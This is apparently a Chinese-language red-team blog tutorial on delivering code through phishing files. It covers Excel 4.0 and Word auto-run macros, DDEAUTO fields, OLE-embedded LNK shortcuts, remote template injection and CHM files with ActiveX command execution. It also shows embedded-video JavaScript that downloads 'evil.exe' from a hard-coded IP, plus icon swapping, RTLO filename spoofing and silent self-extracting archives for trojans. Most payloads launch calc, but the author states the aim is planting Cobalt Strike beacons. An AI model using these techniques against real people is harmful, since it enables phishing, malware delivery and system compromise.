OFFICE

Office安全保护机制

受保护的视图

为了保护计算机不受office病毒侵害,微软设计了一个收保护视图,将所有可疑的office文件以只读方式打开,在该模式下多数编辑功能被禁用。文件呗以受保护视图打开的情况有如下几种

文件是从 Internet 位置打开的 
文件是通过 Outlook 附件的方式接收的,并且计算机策略将发件人定义为不安全
文件是从不安全的位置打开的
文件被文件块阻止
文件验证失败
文件是使用“在受保护的视图中打开”选项打开的
文件是从其他人的 OneDrive 存储中打开的

XLM / Macro 4.0 (excel宏钓鱼)

excel下有宏功能,可以用来执行命令。
其使用方法如下

右键下方sheet1,选择插入

QQ截图20210217150535

点击 MS Excel4.0宏表,就可在excel中插入一个宏表
依次输入这两个命令,并把第一行设置为Auto_Open

随后保存为xlsm文件即可。随后当该文件被打开时,会自动打开cmd窗口

QQ截图20210217150614

这里的exec其实是执行的cmd命令,我们可以借此来上线cs等操作。

QQ截图20210217150630

真不错。但在某些情况下打开此类excel文件需手动点击启用宏才能正常钓鱼。

Word宏

新建一个word文件,进入宏选项(如果没有请自行在开发者工具里开启

QQ截图20210217150658

然后随便输AutoOpen(文件打开时自动执行宏),创建,注意宏的位置要指定为当前文档

然后进入宏编辑框

输入以下命令

Sub AutoOpen()
Shell ("calc") //只需要写这个就行了
End Sub

AutoExec:启动 Word 或加载全局模板时
AutoNew:每次新建文档时
AutoOpen:每次打开已有文档时
AutoClose:每次关闭文档时
AutoExit:退出 Word 或卸载全局模板时

保存为docm(启用宏的word文档)

打开文件,就蹦出计算器了。(前提是在信任中心设置开启所有宏)
当然,一般情况下打开此类文件会显示

QQ截图20210217150708

启用内容后就会弹计算器了

Word DDE

在word文件里,输入 ctrl+F9,进入到域代码编辑。我们可以键入以下代码使文件在被打开时执行系统命令(word2019复现未成功,word2016成功,似乎是word版本问题
这个蛮实用的,目前众多word是默认禁用宏的,dde只需要用户点击两个按钮即可执行,实用性比宏好

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 

随后在打开该文件时会出现两个对话框,全点是就会执行以上命令了

QQ截图20210217150729

office OLE+LNK

核心目标是创建一个内嵌的lnk文件诱导用户点击,从而执行命令。word,excel都能使用

我们创建一个快捷方式如下

QQ截图20210217150802

其目标处填写的是

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc

然后打开word文件,插入对象,选择package,为了更加逼真勾选显示为图标,然后可以更改图标,我们在更改图标处选择一个迷惑性比较大的图标

QQ截图20210217150813

然后进入创建软件包界面,选择我们刚刚创建的lnk文件,写好卷标名,然后就把软件包插入到word界面了,只要用户点击该软件包并选择执行,则会执行我们在lnk中定义的代码

QQ截图20210217150822

而且值得一提的是,如果用上述方法把lnk文件放入publisher文件,则在网络中打开该文件时不会触发受保护视图。(可能是我本地环境有点错?我觉得这个有点离谱

QQ截图20210217150831

嵌入js元素

这个说实话需要一点js功底。。
这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷

<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>

我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。

因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。
而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因
reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload

利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

Sub AutoOpen()
Shell "calc"
End Sub

QQ截图20210217150913

CHM 电子书

新建一个html文件,编码格式ANSI,向里面写入如下内容

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c calc.exe'>
//这一排用于执行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

用easychm,新建-浏览-选择html文件所在目录-选择html文件-编译

image-20210428211335393

生成一个chm,双击,打开了计算器

image-20210428211402606

图标替换

使用Restorator,打开需要替换图标的exe,提供图标的exe,如下

image-20210428215013591

右键main.exe,添加资源,图标,id选择127.
随后右键Listary.exe/图标/127 导出,将其导出到一个文件夹
然后右键main.exe/图标,导入,选择刚刚导出图标的文件夹,确定,ctrl+保存

image-20210428215309755

RTLO

image-20210428220222348

image-20210428220237141

继续重命名,在a后面右键,插入Unicode控制字符->RLO

image-20210428220402772

rar解压自运行

木马文件:artifact.exe 迷惑文件:calc.exe
进入winrar,选中这两个文件,右键添加至压缩包.创建自解压格式压缩文件

image-20210429150912549

高级->自解压选项->设置

image-20210429150946457

模式->全部隐藏

image-20210429150959133

更新->解压并更新文件,覆盖所有文件
image-20210429151020096

生成,双击运行

image-20210429151229160